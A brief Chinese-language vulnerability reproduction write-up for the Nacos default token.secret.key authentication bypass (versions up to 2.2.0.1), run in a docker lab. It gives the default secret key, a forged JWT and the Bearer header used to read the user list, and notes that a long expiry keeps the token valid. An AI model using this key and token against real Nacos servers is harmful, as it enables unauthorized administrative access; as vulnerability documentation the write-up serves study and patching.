漏洞背景
开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
漏洞范围
- nacos <= 2.2.0.1
漏洞复现环境
- nacos 2.2.0
环境搭建
选择 docker
直接拉取
1 | docker pull nacos/nacos-server:v2.2.0 |
默认密码 nacos/nacos
1 | http://192.168.145.132:8848/nacos/#/login |
漏洞复现
默认 secret.key
为 SecretKey012345678901234567890123456789012345678901234567890123456789
,伪造 jwt
1 | eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzY1Nn0.EYvjr2bJCv44VomUuWOt78Vbu7ALhyXu2WMGHrOyyBw |
利用伪造后的 jwt
发起请求,例如读取用户列表
或者是在请求头处添加
1 | Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzY1Nn0.EYvjr2bJCv44VomUuWOt78Vbu7ALhyXu2WMGHrOyyBw |
唯一需要注意一点,伪造的 jwt
中使用的是旧时间戳,使用默认 payload
可以做任何操作除了登陆接口
所以可以直接设置超长时间来伪造 jwt
总结
漏洞的本质是因为使用了默认的 key
,围绕这个key
有不同的利用手法